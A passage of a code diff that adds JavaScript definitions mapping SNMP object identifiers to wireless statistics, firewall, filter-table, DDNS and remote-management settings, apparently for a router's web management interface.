arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount; +var arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount; +var arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked; +var arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount; +var arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount; +var arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount; +var arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount; +var arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails; +var arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount; +var arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount; +var arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount; +var arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount; + +var AdvanceWirelessStatsRateStats = new Container("AdvanceWirelessStatsRateStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46.4"); +AdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar("PacketsRcv1Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1",2); +AdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar("PacketsRcv2Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2",2); +AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar("PacketsRcv5HalfMbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3",2); +AdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar("PacketsRcv6Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4",2); +AdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar("PacketsRcv9Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5",2); +AdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar("PacketsRcv11Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6",2); +AdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar("PacketsRcv12Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7",2); +AdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new Scalar("PacketsRcv18Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8",2); +AdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new Scalar("PacketsRcv24Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9",2); +AdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar("PacketsRcv36Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10",2); +AdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar("PacketsRcv48Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11",2); +AdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar("PacketsRcv54Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12",2); +AdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar("PacketsRcv108Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13",2); +AdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar("PacketsRcv162Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14",2); +AdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar("PacketsRcv216Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15",2); +AdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar("PacketsRcv270Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16",2); +AdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar("PacketsRcv324Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17",2); +AdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar("PacketsRcv378Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18",2); +AdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar("PacketsRcv432Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19",2); +AdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar("PacketsRcv486Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20",2); +AdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar("PacketsRcv540Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21",2); +var arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps; +var arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps; +var arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps; +var arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps; +var arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps; +var arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps; +var arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps; +var arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps; +var arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps; +var arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps; +var arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps; +var arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps; +var arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps; +var arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps; +var arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps; +var arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps; +var arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps; +var arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps; +var arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps; +var arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps; +var arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps; + +var FWCfg = new Container("FWCfg", "1.3.6.1.4.1.4115.1.20.1.1.4"); +FWCfg.FWEnabled= new Scalar("FWEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.1",2); +FWCfg.FWVirtSrvClear= new Scalar("FWVirtSrvClear","1.3.6.1.4.1.4115.1.20.1.1.4.2",2); +FWCfg.FWIPFilterClear= new Scalar("FWIPFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.3",2); +FWCfg.FWMACFilterClear= new Scalar("FWMACFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.4",2); +FWCfg.FWPortTrigClear= new Scalar("FWPortTrigClear","1.3.6.1.4.1.4115.1.20.1.1.4.5",2); +FWCfg.FWEnableDMZ= new Scalar("FWEnableDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.6",2); +FWCfg.FWIPAddrTypeDMZ= new Scalar("FWIPAddrTypeDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.7",2); +FWCfg.FWIPAddrDMZ= new Scalar("FWIPAddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.8",4, 1); +FWCfg.FWSecurityLevel= new Scalar("FWSecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.4.9",2); +FWCfg.FWApplySettings= new Scalar("FWApplySettings","1.3.6.1.4.1.4115.1.20.1.1.4.10",2); +FWCfg.FWAllowAll= new Scalar("FWAllowAll","1.3.6.1.4.1.4115.1.20.1.1.4.14",2); +FWCfg.FWAllowICMP= new Scalar("FWAllowICMP","1.3.6.1.4.1.4115.1.20.1.1.4.21",2); +FWCfg.FWResetDefaults= new Scalar("FWResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.4.22",2); +FWCfg.FWBlockHTTP= new Scalar("FWBlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.4.23",2); +FWCfg.FWBlockP2P= new Scalar("FWBlockP2P","1.3.6.1.4.1.4115.1.20.1.1.4.24",2); +FWCfg.FWBlockIdent= new Scalar("FWBlockIdent","1.3.6.1.4.1.4115.1.20.1.1.4.25",2); +FWCfg.FWBlockICMP= new Scalar("FWBlockICMP","1.3.6.1.4.1.4115.1.20.1.1.4.26",2); +FWCfg.FWBlockMulticast= new Scalar("FWBlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.27",2); +FWCfg.FWVSSrcPortExclude= new Scalar("FWVSSrcPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.28",4); +FWCfg.FWVSDestPortExclude= new Scalar("FWVSDestPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.29",4); +FWCfg.FWEnableNow= new Scalar("FWEnableNow","1.3.6.1.4.1.4115.1.20.1.1.4.30",2); +FWCfg.FWAllowDestPorts= new Scalar("FWAllowDestPorts","1.3.6.1.4.1.4115.1.20.1.1.4.31",4); +FWCfg.FWVirtSrvTableEnabled= new Scalar("FWVirtSrvTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.32",2); +FWCfg.FWPortTrigTableEnabled= new Scalar("FWPortTrigTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.33",2); +// scm { +FWCfg.FWIPv6AddrDMZ= new Scalar("arFWIPv6AddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.39",4, 1); +// scm } +var arFWEnabled=FWCfg.FWEnabled; +var arFWVirtSrvClear=FWCfg.FWVirtSrvClear; +var arFWIPFilterClear=FWCfg.FWIPFilterClear; +var arFWMACFilterClear=FWCfg.FWMACFilterClear; +var arFWPortTrigClear=FWCfg.FWPortTrigClear; +var arFWEnableDMZ=FWCfg.FWEnableDMZ; +var arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ; +var arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ; +var arFWSecurityLevel=FWCfg.FWSecurityLevel; +var arFWApplySettings=FWCfg.FWApplySettings; +var arFWAllowAll=FWCfg.FWAllowAll; +var arFWAllowICMP=FWCfg.FWAllowICMP; +var arFWResetDefaults=FWCfg.FWResetDefaults; +var arFWBlockHTTP=FWCfg.FWBlockHTTP; +var arFWBlockP2P=FWCfg.FWBlockP2P; +var arFWBlockIdent=FWCfg.FWBlockIdent; +var arFWBlockICMP=FWCfg.FWBlockICMP; +var arFWBlockMulticast=FWCfg.FWBlockMulticast; +var arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude; +var arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude; +var arFWEnableNow=FWCfg.FWEnableNow; +var arFWAllowDestPorts=FWCfg.FWAllowDestPorts; +var arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled; +var arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled; +// scm start +var arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ; + +var FWVirtSrvTable = new Table("FWVirtSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.4.12"); +FWVirtSrvTable.FWVirtSrvIndex = new Column("FWVirtSrvIndex","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1",66); +FWVirtSrvTable.FWVirtSrvDesc = new Column("FWVirtSrvDesc","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2",4); +FWVirtSrvTable.FWVirtSrvPortStart = new Column("FWVirtSrvPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3",66); +FWVirtSrvTable.FWVirtSrvPortEnd = new Column("FWVirtSrvPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4",66); +FWVirtSrvTable.FWVirtSrvProtoType = new Column("FWVirtSrvProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5",2); +FWVirtSrvTable.FWVirtSrvIPAddrType = new Column("FWVirtSrvIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6",2); +FWVirtSrvTable.FWVirtSrvIPAddr = new Column("FWVirtSrvIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7",4, 1); +FWVirtSrvTable.FWVirtSrvTOD = new Column("FWVirtSrvTOD","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8",2); +FWVirtSrvTable.FWVirtSrvLocalPortStart = new Column("FWVirtSrvLocalPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9",66); +FWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column("FWVirtSrvLocalPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10",66); +FWVirtSrvTable.FWVirtSrvRowStatus = new Column("FWVirtSrvRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11",2); +// scm start +FWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column("arFWVirtSrvActive","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12",2); +FWVirtSrvTable.FWVirtSrvIPv6Addr = new Column("arFWVirtSrvIPv6Addr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13",4); +// scm end +var arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex; +var arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc; +var arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart; +var arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd; +var arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType; +var arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType; +var arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr; +var arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD; +var arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart; +var arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd; +var arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus; +var FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType; +var arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr; + +var FWIPFilterTable = new Table("FWIPFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.13"); +FWIPFilterTable.FWIPFilterIndex = new Column("FWIPFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1",66); +FWIPFilterTable.FWIPFilterDesc = new Column("FWIPFilterDesc","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2",4); +FWIPFilterTable.FWIPFilterStartType = new Column("FWIPFilterStartType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3",2); +FWIPFilterTable.FWIPFilterStartAddr = new Column("FWIPFilterStartAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4",4, 1); +FWIPFilterTable.FWIPFilterEndType = new Column("FWIPFilterEndType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5",2); +FWIPFilterTable.FWIPFilterEndAddr = new Column("FWIPFilterEndAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6",4, 1); +FWIPFilterTable.FWIPFilterPortStart = new Column("FWIPFilterPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7",66); +FWIPFilterTable.FWIPFilterPortEnd = new Column("FWIPFilterPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8",66); +FWIPFilterTable.FWIPFilterProtoType = new Column("FWIPFilterProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9",2); +FWIPFilterTable.FWIPFilterTOD = new Column("FWIPFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10",2); +FWIPFilterTable.FWIPFilterRowStatus = new Column("FWIPFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11",2); +FWIPFilterTable.FWIPFilterAction = new Column("FWIPFilterAction","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12",2); +FWIPFilterTable.FWIPFilterDirection = new Column("FWIPFilterDirection","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13",2); +FWIPFilterTable.FWIPFilterStartMin = new Column("FWIPFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14",2); +FWIPFilterTable.FWIPFilterEndMin = new Column("FWIPFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15",2); + +var arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex; +var arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc; +var arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType; +var arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr; +var arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType; +var arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr; +var arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart; +var arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd; +var arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType; +var arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD; +var arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus; +var arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction; +var arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection; +var arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin; +var arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin; + +var FWMACFilterTable = new Table("FWMACFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.15"); +FWMACFilterTable.FWMACFilterIndex = new Column("FWMACFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1",66); +FWMACFilterTable.FWMACFilterAddr = new Column("FWMACFilterAddr","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2",4, 1); +FWMACFilterTable.FWMACFilterTOD = new Column("FWMACFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3",2); +FWMACFilterTable.FWMACFilterRowStatus = new Column("FWMACFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4",2); +FWMACFilterTable.FWMACFilterHostName = new Column("FWMACFilterHostName","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5",4); +FWMACFilterTable.FWMACFilterStartMin = new Column("FWMACFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6",2); +FWMACFilterTable.FWMACFilterEndMin = new Column("FWMACFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7",2); +var arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex; +var arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr; +var arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD; +var arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus; +var arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName; +var arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin; +var arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin; + +var FWPortTrigTable = new Table("FWPortTrigTable", "1.3.6.1.4.1.4115.1.20.1.1.4.16"); +FWPortTrigTable.FWPortTrigIndex = new Column("FWPortTrigIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1",66); +FWPortTrigTable.FWPortTrigDesc = new Column("FWPortTrigDesc","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2",4); +FWPortTrigTable.FWPortTrigPortStart = new Column("FWPortTrigPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3",66); +FWPortTrigTable.FWPortTrigPortEnd = new Column("FWPortTrigPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4",66); +FWPortTrigTable.FWPortTargPortStart = new Column("FWPortTargPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5",66); +FWPortTrigTable.FWPortTargPortEnd = new Column("FWPortTargPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6",66); +FWPortTrigTable.FWPortTrigProtoType = new Column("FWPortTrigProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7",2); +FWPortTrigTable.FWPortTrigTOD = new Column("FWPortTrigTOD","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8",2); +FWPortTrigTable.FWPortTrigRowStatus = new Column("FWPortTrigRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9",2); +var arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex; +var arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc; +var arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart; +var arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd; +var arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart; +var arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd; +var arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType; +var arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD; +var arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus; + +var FWFilterRules = new Container("FWFilterRules", "1.3.6.1.4.1.4115.1.20.1.1.4.17"); +FWFilterRules.FWFilterProxy= new Scalar("FWFilterProxy","1.3.6.1.4.1.4115.1.20.1.1.4.17.1",2); +FWFilterRules.FWFilterCookies= new Scalar("FWFilterCookies","1.3.6.1.4.1.4115.1.20.1.1.4.17.2",2); +FWFilterRules.FWFilterJavaApplets= new Scalar("FWFilterJavaApplets","1.3.6.1.4.1.4115.1.20.1.1.4.17.3",2); +FWFilterRules.FWFilterActiveX= new Scalar("FWFilterActiveX","1.3.6.1.4.1.4115.1.20.1.1.4.17.4",2); +FWFilterRules.FWFilterPopupWnds= new Scalar("FWFilterPopupWnds","1.3.6.1.4.1.4115.1.20.1.1.4.17.5",2); +FWFilterRules.FWBlockFragIPPkts= new Scalar("FWBlockFragIPPkts","1.3.6.1.4.1.4115.1.20.1.1.4.17.6",2); +FWFilterRules.FWPortScanProtect= new Scalar("FWPortScanProtect","1.3.6.1.4.1.4115.1.20.1.1.4.17.7",2); +FWFilterRules.FWIPFloodDetect= new Scalar("FWIPFloodDetect","1.3.6.1.4.1.4115.1.20.1.1.4.17.8",2); +var arFWFilterProxy=FWFilterRules.FWFilterProxy; +var arFWFilterCookies=FWFilterRules.FWFilterCookies; +var arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets; +var arFWFilterActiveX=FWFilterRules.FWFilterActiveX; +var arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds; +var arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts; +var arFWPortScanProtect=FWFilterRules.FWPortScanProtect; +var arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect; + +var FWDDNSObjs = new Container("FWDDNSObjs", "1.3.6.1.4.1.4115.1.20.1.1.4.18"); +FWDDNSObjs.FWDDNSEnable= new Scalar("FWDDNSEnable","1.3.6.1.4.1.4115.1.20.1.1.4.18.1",2); +FWDDNSObjs.FWDDNSType= new Scalar("FWDDNSType","1.3.6.1.4.1.4115.1.20.1.1.4.18.2",2); +FWDDNSObjs.FWDDNSUserHame= new Scalar("FWDDNSUserHame","1.3.6.1.4.1.4115.1.20.1.1.4.18.3",4); +FWDDNSObjs.FWDDNSPassword= new Scalar("FWDDNSPassword","1.3.6.1.4.1.4115.1.20.1.1.4.18.4",4); +FWDDNSObjs.FWDDNSDomainName= new Scalar("FWDDNSDomainName","1.3.6.1.4.1.4115.1.20.1.1.4.18.5",4); +FWDDNSObjs.FWDDNSIPAddrType= new Scalar("FWDDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.18.6",2); +FWDDNSObjs.FWDDNSIPAddr= new Scalar("FWDDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.18.7",4, 1); +FWDDNSObjs.FWDDNSStatus= new Scalar("FWDDNSStatus","1.3.6.1.4.1.4115.1.20.1.1.4.18.8",4); +var arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable; +var arFWDDNSType=FWDDNSObjs.FWDDNSType; +var arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame; +var arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword; +var arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName; +var arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType; +var arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr; +var arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus; + + + +/*var FWDDNSDataTable= new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.11.1.5.12"); +FWDDNSDataTable.DDNSService= new Column("DDNSService","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1",4); +FWDDNSDataTable.DDNSUserName=new Column("DDNSUserName","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2",4); +FWDDNSDataTable.DDNSPassword=new Column("DDNSPassword","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3",4); +FWDDNSDataTable.DDNSHostNames=new Column("DDNSHostNames","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4",4); +var arDDNSService= FWDDNSDataTable.DDNSService; +var arDDNSUserName= FWDDNSDataTable.DDNSUserName; +var arDDNSPassword= FWDDNSDataTable.DDNSPassword; +var arDDNSHostNames=FWDDNSDataTable.DDNSHostNames; +*/ +var FWDDNSDataTable = new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1"); +FWDDNSDataTable.FWDDNSType = new Column("FWDDNSType", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3", 4); +FWDDNSDataTable.FWDDNSUserHame = new Column("FWDDNSUserHame", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4", 4); +FWDDNSDataTable.FWDDNSPassword = new Column("FWDDNSPassword", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5", 4); +var arDDNSService= FWDDNSDataTable.FWDDNSType; +var arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame; +var arDDNSPassword= FWDDNSDataTable.FWDDNSPassword; + +var FWDDNSHostAccess = new Table("FWDDNSHostAccess", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2"); +FWDDNSHostAccess.HostnameDDNSIndex = new Column("HostnameDDNSIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1", 2); +FWDDNSHostAccess.HostnameValue = new Column("HostnameValue", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2", 2); +FWDDNSHostAccess.HostnameRowStatus = new Column("HostnameRowStatus", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3", 2); +var arHostnameDDNSIndex = FWDDNSHostAccess.HostnameDDNSIndex; +var arHostnameValue = FWDDNSHostAccess.HostnameValue; +var arHostnameRowStatus = FWDDNSHostAccess.HostnameRowStatus; + + + +var FWFeatures = new Container("FWFeatures", "1.3.6.1.4.1.4115.1.20.1.1.4.19"); +FWFeatures.FWEnableWanBlocking= new Scalar("FWEnableWanBlocking","1.3.6.1.4.1.4115.1.20.1.1.4.19.1",2); +FWFeatures.FWIPSecPassThru= new Scalar("FWIPSecPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.2",2); +FWFeatures.FWPPTPPassThru= new Scalar("FWPPTPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.3",2); +FWFeatures.FWEnableMulticast= new Scalar("FWEnableMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.19.4",2); +FWFeatures.FWEnableRemoteMgmt= new Scalar("FWEnableRemoteMgmt","1.3.6.1.4.1.4115.1.20.1.1.4.19.5",2); +FWFeatures.FWL2TPPassThru= new Scalar("FWL2TPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.7",2); +FWFeatures.FWEnableWanSNMP= new Scalar("FWEnableWanSNMP","1.3.6.1.4.1.4115.1.20.1.1.4.19.8",2); +FWFeatures.FWEnableWanSSH= new Scalar("FWEnableWanSSH","1.3.6.1.4.1.4115.1.20.1.1.4.19.9",2); +FWFeatures.FWEnableLanSNMPWireless= new Scalar("FWEnableLanSNMPWireless","1.3.6.1.4.1.4115.1.20.1.1.4.19.10",2); +var arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking; +var arFWIPSecPassThru=FWFeatures.FWIPSecPassThru; +var arFWPPTPPassThru=FWFeatures.FWPPTPPassThru; +var arFWEnableMulticast=FWFeatures.FWEnableMulticast; +var arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt; +var arFWL2TPPassThru=FWFeatures.FWL2TPPassThru; +var arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP; +var arFWEnableWanSSH=FWFeatures.FWEnableWanSSH; +var arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless; + +// scm add 4 + +var FWEnableRemoteMgmt = new Container("FWEnableRemoteMgmt", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12"); +FWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar("FWRemoteMgmtHttp","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new 